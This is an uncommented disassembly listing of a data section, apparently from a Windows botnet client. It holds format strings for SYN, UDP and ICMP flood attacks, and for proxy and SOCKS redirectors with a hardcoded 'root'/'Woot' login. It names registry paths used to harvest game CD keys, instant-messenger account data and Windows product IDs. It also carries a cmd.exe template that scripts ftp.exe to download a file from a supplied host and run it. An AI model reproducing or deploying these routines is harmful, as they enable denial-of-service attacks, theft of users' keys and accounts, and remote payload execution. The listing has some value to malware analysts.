aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_427B10+23o
align 4
dd 0
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_427B10+Co
align 4
aForsyn db 'forsyn',0 ; DATA XREF: sub_427C90+22o
align 10h
aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
align 4
dd 0
aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
align 4
dd 0
aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
align 8
aSyn db 'syn',0 ; DATA XREF: sub_4281A0+22o
aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
align 8
aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
align 10h
dd 0
aUdp db 'udp',0 ; DATA XREF: sub_428880+22o
aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_428940+C0o
align 4
dd 0
aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
align 4
dd 0
off_446F0C dd offset byte_455247 ; DATA XREF: sub_4290B0+22o
aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_429330+AAo
align 10h
aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_429330+33o
align 10h
aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Connection to %s:%d has failed',0Ah,0
align 4
dd 7 dup(0)
aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Error Resolving %s',0Ah,0
align 4
dd 6 dup(0)
aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o
db 0Dh,0Ah,0
align 10h
aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o
; ___:0042A147o
align 8
aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o
; ___:0042A129o
align 8
aConnection db 'Connection:',0 ; DATA XREF: ___:00429F54o
align 8
aChunked db 'chunked',0 ; DATA XREF: ___:00429F11o
dd 0
aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o
align 4
dd 0
aContentLength db 'Content-Length:',0 ; DATA XREF: ___:00429E2Do
align 10h
aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C8Eo
db 'Connection: close',0Dh,0Ah
db '%s',0
dd 2 dup(0)
aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C59o
db 'Connection: Keep-Alive',0Dh,0Ah
db '%s',0
align 10h
dd 0
aKeepAlive db 'Keep-Alive',0 ; DATA XREF: ___:loc_429B5Bo
; ___:00429FA0o
align 10h
dd 0
aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o
align 4
dd 0
asc_4471FC db 0Dh,0Ah,0 ; DATA XREF: ___:00429A1Co
; ___:00429ADCo ...
align 10h
aHttprox db 'HTTPROX',0 ; DATA XREF: ___:004299E7o
dd 0
aConnect db 'connect',0 ; DATA XREF: ___:004297B2o
align 8
aConnect_0 db 'CONNECT',0 ; DATA XREF: ___:0042977Do
dd 0
off_447224 dd offset byte_544547 ; DATA XREF: ___:004296B8o
aHttp_0 db 'HTTP',0 ; DATA XREF: sub_42ACB0+22o
align 10h
aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o
dd 2 dup(0)
aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo
align 10h
aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o
dd 2 dup(0)
aSocks4 db 'Socks4',0 ; DATA XREF: sub_42AFF0+22o
; sub_42B380+22o
align 4
aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
align 10h
dd 0
aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
align 4
dd 2 dup(0)
dword_447304 dd 1000005h, 0 dword_44730C dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0
; DATA XREF: sub_42CB70+20Fo
align 4
dd 3 dup(0)
aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
; DATA XREF: sub_42CB70+3Fo
align 10h
dd 2 dup(0)
aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
; DATA XREF: ___:0042D725o
dd 3 dup(0)
aRoot db 'root',0 ; DATA XREF: ___:0042D6B1o
align 4
dd offset aWoot ; "Woot"
aWoot db 'Woot',0 ; DATA XREF: ___:004473D4o
align 10h
aNetworkFailedT db 'Network failed to start: %d',0Ah,0
align 10h
dd 0
aCalloc db 'calloc',0
align 4
aSetsockopt db 'setsockopt',0
align 4
dd 0
aSocket db 'socket',0
align 4
aGethostbyname db 'gethostbyname',0
align 4
aGetservbyname db 'getservbyname',0
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_42DB00+49o
; sub_42DB00:loc_42DBBDo
aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
align 8
aRead db 'read',0 ; DATA XREF: sub_42DF40:loc_42E0DCo
align 10h
aPassS db 'PASS %s',0 ; DATA XREF: sub_42E3C0+72o
dd 0
aUserS db 'USER %s',0 ; DATA XREF: sub_42E3C0+3Do
align 8
aWrite db 'write',0
align 10h
aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
align 10h
dword_4474B0 dd 524F5453h byte_4474B4 db 0 ; DATA XREF: sub_42E5B0+EDr
align 4
dword_4474B8 dd 52544552h byte_4474BC db 0 ; DATA XREF: sub_42E5B0+D3r
align 10h
dword_4474C0 dd 5453494Ch byte_4474C4 db 0 ; DATA XREF: sub_42E5B0+B8r
align 4
dword_4474C8 dd 54534C4Eh byte_4474CC db 0 ; DATA XREF: sub_42E5B0+9Er
align 10h
dword_4474D0 dd 45505954h, 632520h, 0 ; ___:0042F9BAo
aMissingPathArg db 'Missing path argument for file transfer',0Ah,0
; DATA XREF: sub_42E5B0+2Do
align 10h
aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0
align 4
dd 0
aListen db 'listen',0
align 4
aBind db 'bind',0
align 4
aGetsockname db 'getsockname',0
dd 0
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
align 10h
dd 0
aPasv db 'PASV',0 ; DATA XREF: sub_42E870+B4o
align 4
aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
align 10h
aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
align 4
dd 0
aTimedOutWaitin db 'timed out waiting for connection',0
align 10h
dd 0
aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0
align 4
dd 2 dup(0)
aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
align 4
dd 2 dup(0)
aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
align 4
dd 2 dup(0)
aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042F3CEo
align 10h
aSyst db 'SYST',0 ; DATA XREF: ___:0042F42Do
align 4
aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042F4BEo
align 10h
aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042F53Eo
align 4
aCdup db 'CDUP',0 ; DATA XREF: ___:0042F597o
align 10h
aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042F5EEo
align 4
off_447688 dd offset aSendtoSocketFa+18h ; DATA XREF: ___:0042F64Do
aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42F6F0:loc_42F871o
align 10h
aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
align 8
word_4476C8 dw 77h ; DATA XREF: sub_42F6F0+1Fr
align 4
dword_4476CC dd 25206425h, 64hdword_4476D4 dd 455A4953h, 732520h, 0dword_4476E0 dd 4D54444Dh, 732520h, 0dword_4476EC dd 4F544E52h, 732520h, 0dword_4476F8 dd 52464E52h, 732520h, 0dword_447704 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42FD30+10o
align 4
dword_447718 dd 1 ; sub_431750+1Fw ...
aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
align 4
dd 0
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_432570+6o
align 4
aA: ; DATA XREF: sub_434D10+36o
unicode 0, <>,0
dd 12h dup(0)
dd offset aBattlefield194 ; "[Battlefield 1942: "
dd 80000002h, 44886Ch, 448F40h, 448838h, 80000002h, 4487D8h
dd 448F40h, 4487A8h, 80000002h, 448750h, 448F40h, 44872Ch
dd 80000002h, 4486E4h, 448F40h, 4486CCh, 80000002h, 448688h
dd 448F40h, 448660h, 80000002h, 448624h, 448F40h, 4485F0h
dd 80000002h, 448590h, 448F40h, 448564h, 80000002h, 448540h
dd 448538h, 44850Ch, 80000002h, 4484E4h, 448538h, 4484CCh
dd 80000001h, 44849Ch, 448498h, 448488h, 80000002h, 44844Ch
dd 448F40h, 44843Ch, 80000002h, 448400h, 448F40h, 4483ECh
dd 80000002h, 4483A4h, 448F40h, 448388h, 80000002h, 448344h
dd 448F40h, 448328h, 80000001h, 448300h, 448498h, 4482F0h
dd 80000001h, 4482C8h, 448498h, 4482A8h, 80000002h, 44826Ch
dd 448268h, 44824Ch, 80000002h, 448228h, 448220h, 448208h
dd 80000001h, 4481DCh, 4481D4h, 4481B0h, 80000002h, 448164h
dd 448F40h, 44813Ch, 80000002h, 4480E8h, 448F40h, 4480B0h
dd 80000002h, 44804Ch, 448F40h, 448018h, 80000002h, 447FB8h
dd 448F40h, 447F9Ch, 80000002h, 447F54h, 448F40h, 447F38h
dd 80000002h, 447EF0h, 448F40h, 447EE0h, 80000002h, 447EA4h
dd 448F40h, 447E94h, 80000002h, 447E58h, 448F40h, 447E30h
dd 80000002h, 447DDCh, 448F40h, 447DB4h, 80000002h, 447D64h
dd 448F40h, 447D48h, 80000002h, 447D20h, 448498h, 447D0Ch
dd 80000002h, 447CD4h, 448F40h, 447CA4h, 80000002h, 447C4Ch
dd 448F40h, 447C30h, 80000001h, 447BE0h, 447BD8h, 447BBCh
dd 80000002h, 447B78h, 447B6Ch, 447B54h, 80000001h, 447B24h
dd 447B18h, 447AF8h, 80000002h, 447ABCh, 447BD8h, 447A9Ch
dd 80000002h, 447A60h, 447BD8h, 1Eh dup(0)
aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
align 4
dd 2 dup(0)
aUnrealTourname db '[Unreal Tournament 2004: ',0
align 4
dd 0
aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
align 10h
dd 2 dup(0)
aUnrealTourna_0 db '[Unreal Tournament 2003: ',0
align 8
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
dd 2 dup(0)
aTheGladiators db '[The Gladiators: ',0
align 4
dd 0
aSof2key db 'sof2key',0
align 8
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
dd 2 dup(0)
aSoldierOfFortu db '[Soldier Of Fortune 2: ',0
align 8
aCdkey db 'CDKey',0
align 10h
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 10h
aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0
align 4
dd 0
aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 4
dd 3 dup(0)
aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0
align 4
dd 2 dup(0)
aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
align 4
dd 2 dup(0)
dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 8
aNeverwinterNig db '[Neverwinter Nights: ',0
align 10h
dd 0
aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 4
dd 3 dup(0)
aNeedForSpeedUn db '[Need For Speed: Underground: ',0
align 4
dd 2 dup(0)
aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
db 'gc',0
dd 4 dup(0)
aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0
align 8
aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
aNhl2002 db '[NHL 2002: ',0
align 10h
aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
dd 3 dup(0)
aNascarRacing20 db '[Nascar Racing 2003: ',0
align 10h
dd 0
aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 10h
dd 3 dup(0)
aNascarRacing_0 db '[Nascar Racing 2002: ',0
align 8
aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 4
dd 4 dup(0)
aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0
dd 2 dup(0)
aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 10h
dd 4 dup(0)
aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0
align 10h
dd 2 dup(0)
aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 10h
dd 3 dup(0)
aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0
align 10h
dd 0
aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
align 10h
aJamesBond007Ni db '[James Bond 007: Nightfire: ',0
align 10h
dd 0
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 10h
dd 2 dup(0)
aIndustryGiant2 db '[Industry Giant 2: ',0
align 10h
aCdkey_0 db 'CDkey',0
align 4
aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0
dd 2 dup(0)
aIgi2CovertStri db '[IGI2: Covert Strike: ',0
align 8
aKey db 'key',0
aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
dd 2 dup(0)
aHiddenAndDange db '[Hidden and Dangerous 2: ',0
align 8
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 10h
aHalfLife db '[Half-Life: ',0
align 10h
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
dd 2 dup(0)
aGunmanChronicl db '[Gunman Chronicles: ',0
align 10h
dd 0
aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
dd 2 dup(0)
aGlobalOperatio db '[Global Operations: ',0
align 10h
dd 0
aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
dd 3 dup(0)
aFreedomForce db '[Freedom Force: ',0
align 10h
aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
dd 2 dup(0)
dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
dd 2 dup(0)
dd 4649465Bh, 30322041h, 203A3230h, 0
dd 79654Bh, 74666F53h, 65726177h, 6C61565Ch, 435C6576h
dd 746E756Fh, 74537265h, 656B6972h, 7465535Ch, 676E6974h
dd 73h, 2 dup(0)
aCounterStrike db '[Counter-Strike: ',0
align 10h
dd 0
aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0
align 4
dd 2 dup(0)
aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0
align 8
aSerial db 'Serial',0
align 10h
aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0
align 10h
dd 0
aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0
align 10h
aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 10h
dd 4 dup(0)
aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0
dd 2 dup(0)
aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
align 10h
aCommandAndCo_2 db '[Command and Conquer: Generals: ',0
align 8
aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
align 10h
dd 3 dup(0)
aBlackAndWhite db '[Black and White: ',0
align 10h
dd 0
aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 10h
dd 3 dup(0)
aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0
align 10h
aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 4
dd 3 dup(0)
aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0
align 10h
dd 2 dup(0)
aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 4
dd 4 dup(0)
aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0
dd 2 dup(0)
db 53h
aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
align 10h
aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447798o
align 8
aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:004362A4o
align 4
aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00436268o
align 8
aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
align 10h
dd 0
dword_448904 dd 3A6D6961h, 732520h, 0dword_448910 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
; DATA XREF: ___:0043616Co
db '\Login',0
dd 4 dup(0)
aFoundCodCdkeyS db 'Found COD CDKey (%s).',0
align 10h
dd 0
aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0
align 10h
aSMainS db '%s\main\%s',0
align 10h
aCodkey db 'codkey',0
align 4
aSoftwareActi_0 db 'Software\Activision\Call of Duty',0
align 10h
aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0
align 4
dd 0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 10h
dd 0
dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath db 'InstallPath',0
dd 0
dword_448A44 dd 3A6E736Dh, 732520h, 0dword_448A50 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
; DATA XREF: ___:00436737o
db 'ice',0
align 10h
aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
align 8
aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
align 4
dd 2 dup(0)
aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
align 4
dd 2 dup(0)
aProductid db 'ProductId',0 ; DATA XREF: sub_4369E0+52Bo
align 10h
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0
; DATA XREF: sub_4369E0+4FEo
align 4
dd 2 dup(0)
aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4369E0+4A4o
align 10h
aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4369E0+3BBo
align 4
loc_448B7C: ; DATA XREF: sub_4369E0+2D3o
dec eax
dec ebx
inc ebx
inc ebx
cmp ah, [eax]
and eax, 73h
loc_448B87: ; DATA XREF: sub_4369E0+1EBo
add [eax+4Bh], cl
dec esp
dec ebp
cmp ah, [eax]
and eax, 73h
loc_448B93: ; DATA XREF: sub_4369E0+103o
add [eax+4Bh], cl
inc ebx
push ebp
cmp ah, [eax]
and eax, 73h
loc_448B9F: ; DATA XREF: ___:004371A6o
; ___:00437400o ...
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cx, 0FFFFh
loc_448BB0: ; CODE XREF: ___:00448BB5j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_448BB0
; ---------------------------------------------------------------------------
db 0
dd 0
aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
; DATA XREF: ___:0043762Bo
db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
dd 0Ah dup(0)
off_448CA0 dd offset off_43F1D4 ; DATA XREF: ___:off_43F318o
; ___:0043F354o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dd 1, 9Fh dup(0)
byte_448F40 db 0 ; DATA XREF: sub_403530+95o
; sub_404690+200o ...
align 4
dword_448F44 dd 0 ; sub_4246D0+11o ...
dword_448F48 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D4BFr ...
align 10h
dword_448F50 dd 0 ; ___:0040D425w ...
dd 8 dup(0)
dword_448F74 dd 41h dup(0) ; ___:0040D460o ...
dword_449078 dd 0 ; ___:loc_40D4B4r ...
dword_44907C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D42Fr ...
dword_449080 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D660+CAw
dword_449084 dd 0 ; sub_40D660+E3r
dd 11h dup(0)
dword_4490CC dd 0 ; sub_410030+47Dr
dword_4490D0 dd 0 ; sub_410030+515r ...
dword_4490D4 dd 0 ; sub_410030+655r ...
dword_4490D8 dd 0 ; sub_410030+B79r ...
dword_4490DC dd 0 ; sub_410030+74Br
dword_4490E0 dd 0 ; sub_410030+828r
dword_4490E4 dd 0 ; sub_410030+77Cr
dword_4490E8 dd 0 ; sub_410030+4DDr ...
dword_4490EC dd 0 ; sub_410030+311r
dword_4490F0 dd 0 ; sub_410030+34Dr ...
dword_4490F4 dd 0 ; sub_410030+33Dr
dword_4490F8 dd 0 ; sub_410030+3D2r
dword_4490FC dd 0 ; sub_410030+E93r
dword_449100 dd 0 ; sub_410030+1220r ...
dword_449104 dd 0 ; sub_4120B0+4DAr
dword_449108 dd 0 ; sub_410030+683r
dword_44910C dd 0 ; sub_410030+6B5r
dword_449110 dd 0 ; sub_410030+1252r
dd 5 dup(0)
dword_449128 dd 10h dup(0) ; ___:004040AFo ...
db 2 dup(0)
byte_44916A db 0 ; DATA XREF: sub_409B10r sub_409B80r
align 4
db 3 dup(0)
byte_44916F db 0 ; DATA XREF: sub_40D660+10Fr
db 0
byte_449171 db 0 ; DATA XREF: sub_40DBF0r
word_449172 dw 0 ; DATA XREF: sub_40DBF0+9o
dd 44h dup(0)
db 3 dup(0)
byte_449287 db 0 ; DATA XREF: ___:00412F9Ao
; ___:0041304Fo ...
db 3 dup(0)
byte_44928B db 0 ; DATA XREF: sub_41F960:loc_41F99Dr
align 10h
dword_449290 dd 12h dup(0) ; sub_410030+114o
db 0
byte_4492D9 db 3 dup(0) ; DATA XREF: ___:00408BA1o
; sub_410030+159o ...
dd 11h dup(0)
db 2 dup(0)
word_449322 dw 0 ; DATA XREF: ___:00408B78o
; sub_410030+132o
dd 6 dup(0)
word_44933C dw 0 ; DATA XREF: sub_410030+1E1r
align 10h
dd 0Ah dup(0)
db 3 dup(0)
byte_44936B db 0 ; DATA XREF: ___:00408BCAo
; sub_410030+17Co ...
dd 12h dup(0)
dword_4493B4 dd 12h dup(0) ; sub_410030+F7o ...
db 0
byte_4493FD db 3 dup(0) ; DATA XREF: ___:00408B03o
; sub_410030+D0o ...
dd 23h dup(0)
db 3 dup(0)
byte_44948F db 0 ; DATA XREF: ___:00408BF3o
; sub_410030+19Ao
dd 24h dup(0)
db 0
byte_449521 db 3 dup(0) ; DATA XREF: sub_425100+2Bo
; sub_425100+37o ...
dd 11h dup(0)
db 2 dup(0)
word_44956A dw 0 ; DATA XREF: ___:00412F6Ao
; ___:00412F89o ...
dd 3Ch dup(0)
db 3 dup(0)
dword_44965F dd 0 ; sub_41F030+154r ...
align 4
dd 35h dup(0)
db 0
byte_449739 db 0 ; DATA XREF: sub_41BA50+18r
align 4
dd 36h dup(0)
byte_449814 db 0 ; DATA XREF: sub_410030+842r
align 4
dd 0Bh dup(0)
dword_449844 dd 18h dup(0) ; sub_40EE40+97o ...
db 2 dup(0)
byte_4498A6 db 0 ; DATA XREF: sub_404CC0+258r
; sub_41D930+66Er
align 4
dd 11h dup(0)
db 3 dup(0)
byte_4498EF db 0 ; DATA XREF: sub_404CC0:loc_404F30r
; sub_41D930:loc_41DFB6r
dd 0Bh dup(0)
db 3 dup(0)
byte_44991F db 0 ; DATA XREF: sub_404CC0+279o
; sub_41D930+68Fo ...
dd 12h dup(0)
dword_449968 dd 2Bh dup(0) ; sub_41F030+630o ...
dword_449A14 dd 0 dd 11h dup(0)
db 0
dword_449A5D dd 0 align 4
dd 0D9h dup(0)
byte_449DC8 db 0 ; DATA XREF: sub_41F030+146r
; sub_41F030+5EEr
align 4
dd 3A8h dup(0)
db 2 dup(0)
word_44AC6E dw 0 ; DATA XREF: sub_404690+1BDo
; sub_404B60+31o ...
db 2 dup(0)
word_44AC72 dw 0 ; DATA XREF: sub_404B60+4o
dd 1Ch dup(0)
db 2 dup(0)
word_44ACE6 dw 0 ; DATA XREF: sub_4076B0+36o
; sub_407740+3Eo ...
dd 26h dup(0)
dword_44AD80 dd 86h dup(0) ; sub_404CC0+27Eo ...
db 3 dup(0)
byte_44AF9B db 0 ; DATA XREF: sub_426930+3Bw
; sub_4269A0+7Ew ...
dd 7Fh dup(0)
db 3 dup(0)
dword_44B19B dd 0 ; sub_4269A0+4Fw ...
dword_44B19F dd 0 ; ___:0042419Dw ...
dword_44B1A3 dd 0 ; sub_4269A0+5Dr ...
dword_44B1A7 dd 0 ; sub_4269A0+8Cr ...
dword_44B1AB dd 0 ; sub_4269A0+9Dr
dword_44B1AF dd 0 ; ___:004241D1r ...
byte_44B1B3 db 0 ; DATA XREF: sub_426930+42w
; sub_4269A0+85w
dd 2824h dup(0)
db 3 dup(0)
byte_455247 db 0 ; DATA XREF: ___:off_446F0Co
dd 0EB85h dup(0)
dword_49005C dd 0BD23h dup(0) db 0
byte_4BF4E9 db 3 dup(0) ; DATA XREF: ___:off_402027o
dd 53D8h dup(0)
db 0
byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_445324o
dd 0ED2h dup(0)
db 3 dup(0)
dword_4D7F9B dd 0 ; sub_426BD0+13o
align 10h
dd 39h dup(0)
db 0
byte_4D8085 db 3 dup(0) ; DATA XREF: sub_404C70+1Eo
; sub_404CC0+65o ...
dd 5 dup(0)
byte_4D809C db 0 ; DATA XREF: sub_404CC0+292w
; sub_404CC0+4EBw
dword_4D809D dd 0 ; sub_422B40:loc_4232C4r ...
align 4
dd 0
db 0
dword_4D80A9 dd 0 ; sub_404C70+2Aw
byte_4D80AD db 3 dup(0) ; DATA XREF: ___:00412FC4o
; ___:00412FE7o
dd 9 dup(0)
db 3 dup(0)
dword_4D80D7 dd 0 ; sub_428DC0:loc_428EB7r
align 4
dd 2Fh dup(0)
db 3 dup(0)
byte_4D819B db 0 ; DATA XREF: sub_426B60+16o
; sub_426B90+19o
db 3 dup(0)
byte_4D819F db 0 ; DATA XREF: sub_426A90+4Co
dd 6Fh dup(0)
db 3 dup(0)
byte_4D835F db 0 ; DATA XREF: ___:0040828Fo
; ___:00408720o ...
dd 8 dup(0)
dword_4D8380 dd 0 dd 51h dup(0)
db 0
byte_4D84C9 db 0 ; DATA XREF: sub_427B10:loc_427BC0r
; sub_427FD0:loc_428085r ...
align 4
dd 9Eh dup(0)
db 0
dword_4D8745 dd 0 ; sub_427FD0+7Dw ...
align 4
dd 1EDAh dup(0)
db 0
byte_4E02B5 db 3 dup(0) ; DATA XREF: ___:00419F93o
; sub_41A050+13o
